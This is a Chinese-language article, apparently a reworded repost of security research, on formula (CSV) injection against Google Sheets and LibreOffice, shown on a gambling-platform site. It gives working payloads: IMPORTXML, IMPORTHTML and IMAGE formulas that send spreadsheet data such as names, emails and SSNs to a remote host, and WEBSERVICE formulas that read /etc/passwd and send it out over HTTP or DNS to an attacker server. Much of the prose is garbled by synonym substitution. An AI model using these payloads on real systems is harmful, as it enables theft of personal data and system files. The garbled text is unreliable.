经由过程Formula注入(CSV注入)举行数据渗入 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

经由过程Formula注入(CSV注入)举行数据渗入

申博_安全预警 申博 224次浏览 已收录 0个评论

近来,我们针对一些客户端运用举行了一些测试事情,在测试中我们运用了OOB要领从电子表格中提取数据。在本文中,我们引见的要领能够令我们猎取到电子表格中的内容,然则却没法则进击者具有接见完全文档或客户端体系的权限。

我们简朴地看了一下LibreOfficeGoogle表格,并为读者供应了一些PoC。 我们对非Windows的运用程序更加存眷,由于关于Windows运用程序来讲研讨的事情已很多了。

在这篇博文中,我们概述了来自NotSoSecure团队的Ajay(@ 9r4shar4j4y)和Balaji(@ iambalaji7)所举行的研讨。 以下PoC能够许可我们运用简朴的内置功用来猎取敏感信息,以至能够读取相应客户端体系上的文件内容。 我们不会在这里放出任何0 day,但愿望本文能够供应一些新的进击门路。

Google表格OOB数据泄漏

如果我们希望及时捕获数据内容,基于云的数据捕获是最好的选择。与基于客户机的push不同,我们可以快速地向事件表中添加数据并作出相应的响应。

攻击的细节取决于用户可以使用什么。如果用户将CSV文件上载到目的,那么攻击者可以更容易地进行攻击。这种样本谷歌形式对我下一次的分析很有用。

首先,让我们介绍一些有趣的函数。

CONCATENATE:追加字符串。

=CONCATENATE(A2:E2)

IMPORTXML:从种种结构化数据中导入数据,包孕XML、HTML、CSV、TSV和RSS和ATOM XML

=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")

IMPORTFEED:导入RSS或ATOM Feed。

=IMPORTFEED(CONCAT("http://[remote IP:Port]//123.txt?v=", CONCATENATE(A2:E2)))

IMPORTHTML:从HTML页面中的表或列表中导入数据。

=IMPORTHTML (CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)),"table",1)

IMPORTRANGE:从指定的电子表格导入一系列单元格。

=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")

图象:将图象插进去单元格。

=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")

数据泄漏:

依据Google的电子表格功用文档,上述功用能够成为数据泄漏的主要因素。

场景1 [失利]:在这里包含了一些失利的PoC状况。 失利是我们剖析历程的一局部,应当被认为是很好的学习材料。 若是不阅历失利,胜利永久不会那末甜美。

Google供应了建立表单和吸收复兴的功用,今后能够运用Google表格检察这些复兴。 我们实验在相应Google表单的批评局部提交歹意代码来应用此破绽。 然则,Google会对提交的内容举行平安搜检,并在公式之前自动增加(’)撇号,从而住手公式的实行。

经由过程Formula注入(CSV注入)举行数据渗入

场景2 [胜利]:Google表格还供应了其他的功用,许可我们从分歧的文件中导入数据,如csv,tsv,xlsx等。这些导入的数据能够运用新的电子表格来展现,也能够附加到现有的表格中。 关于我们的PoC代码,我们将其附加到前一个事情表中,以便我们能够提取其他用户提交的数据。 说荣幸的是,Google没有像在计划1中那样实行雷同的搜检。包孕以下步调。

1)我们建立了一个带有payload(公式)的歹意csv文件,它将衔接A到D列的数据。 然后,我们运用这些信息为进击者服务器天生带外要求。

经由过程Formula注入(CSV注入)举行数据渗入

2)然后,我们运用导入功用将csv文件导入Google表格,并将数据附加到现有事情表。

经由过程Formula注入(CSV注入)举行数据渗入

3)导入数据后,我们实行了payload,并在收听进击服务器的HTTP服务器上收到用户的详细信息,如姓名,电子邮件和SSN数据。

经由过程Formula注入(CSV注入)举行数据渗入

愿望这些内容能资助用户完成进击。以后,我们将继承举行套路,如今让我们研讨LibreOffice

在Linux体系中读取LibreOffice OS文件

本节重点引见如安在Linux情况中应用CSV举行注入。 虽然很多博客已宣布了与运用Excel开辟DDE相干的PoC等,但在Linux情况中对办公运用程序的研讨却很少。 这个现象是很正常的,由于Linux台式机的运用人数远不及Windows,以是进击更面向群众人群,也就是最有利可图的终端。

在本文中,我们会强调一些能够在Linux目的上应用的简朴公式进击。 在本文中,我们运用以下情况举行测试。

payload已在以下情况中胜利测试:

  • Ubuntu 16.04 LTS and LibreOffice 5.1.6.2
  • Ubuntu 18.04 LTS and LibreOffice 6.0.3.2

我们起首实验运用当地接见并经由过程公式读取敏感文件。 LibreOffice供应运用“文件”协定读取文件。 建立了一个从当地/etc/passwd文件中检索的初始PoC,概况以下。

Payload 1:

经由过程Formula注入(CSV注入)举行数据渗入

剖析一下payload:

  • file:///etc/passwd’#$passwd.A1– 将从当地/etc/ passwd文件中读取第1行

*我们也能够运用http://替代file:///查询长途资本。

应当注重的是,在初始导入时会提醒用户实行以下屏幕截图所示的操纵(在此示例中显现/etc/group的输出)。

经由过程Formula注入(CSV注入)举行数据渗入

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

导入完成后,用户只需从新翻开文档,就会提醒更新链接。

经由过程Formula注入(CSV注入)举行数据渗入

特地提一下,经由过程转变行援用(这里为A2),我们能够从文件中读取更多内容。

经由过程Formula注入(CSV注入)举行数据渗入

我们须要一种要领来检察长途体系中的文件内容(我们没有在LibreOffice运用程序中检察这些效果的对象)

这须要我们研讨WEBSERVICE函数。 本质上,我们能够运用此函数衔接到我们掌握的长途体系,然后发送对/etc/passwd文件提取数据的要求。

明显,进击主机上不存在这些文件,但GET要求会资助我们从进击主机上的日记或掌握台的输出文件举行接见。

继承这个理论,我们提出了下面PoC。

Payload 2:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))

经由过程Formula注入(CSV注入)举行数据渗入

对一下payload举行剖析:

  • file:///etc/passwd’#$passwd.A1 – 将从当地/etc/passwd文件中读取第1行
  • CONCATENATE(“http://<ip>:8080”,(‘file:///etc/passwd’#$passwd.A1)) – 衔接文件的IP地点和输出信息</ip>
  • WEBSERVICE – 向我们的进击主机要求特定的URI

我们的进击体系运转了Python的SimpleHTTPServer,因而当在受害者体系上翻开歹意文件时,要求就会被我们的服务器吸收。

经由过程Formula注入(CSV注入)举行数据渗入

一样,我们编写了几个payload来从目的文件中读取多行内容。 若是我们体系的空间充足,那末我们只须要确保末了一个援用(#$ passwd.A1)设置为每行递增。以后我们就能够经由过程在单个文档中嵌入多行来完成此义务。以下PoC将提取并发送目的文件/etc/passwd中的前30行。

经由过程Formula注入(CSV注入)举行数据渗入

然则,更简约的要领是在单个公式中援用多个行,以下所示。

实行以下payload时,/etc/passwd文件中的2即将发送到进击服务器。

Payload 3:

=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))

经由过程Formula注入(CSV注入)举行数据渗入

剖析以下payload:

  • 'file:///etc/passwd’#$passwd.AX – 将读取当地/etc/ passwd文件中的第1行和第2行
  • CONCATENATE(“http://<ip>:8080/,(‘file:///etc/passwd’#$passwd.A1)&CHAR(36)&(‘file:///etc/passwd’#$passwd.A2)) – 将进击服务器IP地点与/etc/ passwd行第1行和第2行(文件中的前2行)的输出衔接起来,每一个都用美圆($)字符分开
  • WEBSERVICE – 向我们的进击主机要求特定的URI

检察进击主机,我们能够在GET要求中看到来自/etc/passwd的相应内容,在此实例中由$ character (CHAR 36)举行分开。

经由过程Formula注入(CSV注入)举行数据渗入
依据文件内容,我们能够会碰到长度题目https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers。

我们鄙人一个PoC中处置惩罚了这两个题目。若是没有DNS示例,我们就没法完成OOB数据泄漏事情。

Payload 4:

=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<FQDN>"))

经由过程Formula注入(CSV注入)举行数据渗入

payload剖析:

  • ‘file:///etc/passwd’#$passwd.A19 – 将从当地/etc/passwd文件中读取第19行

  • ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – URL对返回的数据举行编码

  • MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41)– 与子字符串相似,从第1个字符到第41个字符读取数据 – 这是限定DNS长度的一种异常轻易的要领(FQDN上限254个字符,标签上限63个字符,即子域)

  • SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)– 替代一切%的实例(URL中的特别字符) 运用短划线 – 这确保仅运用有用的DNS字符

  • CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.<FQDN>”) – 将文件的输出(在上述处置惩罚以后)与FQDN衔接(我们能够接见对域中主机)

  • WEBSERVICE – 将要求此不存在的DNS称号,然后我们能够在我们掌握的DNS服务器上剖析日记(或运转tcpdump等)

发送完成后,我们能够经由过程设置装备摆设为域的服务器上的tcpdump检察FQDN(包孕/ etc/passwd第19行的编码数据)的查询,以下所示。

经由过程Formula注入(CSV注入)举行数据渗入

若是用户依据我们的文章举行测试或许修正upload/download/imports/exports的CSV数据等的运用程序,那末肯定会看到胜利的效果。


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明经由过程Formula注入(CSV注入)举行数据渗入
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址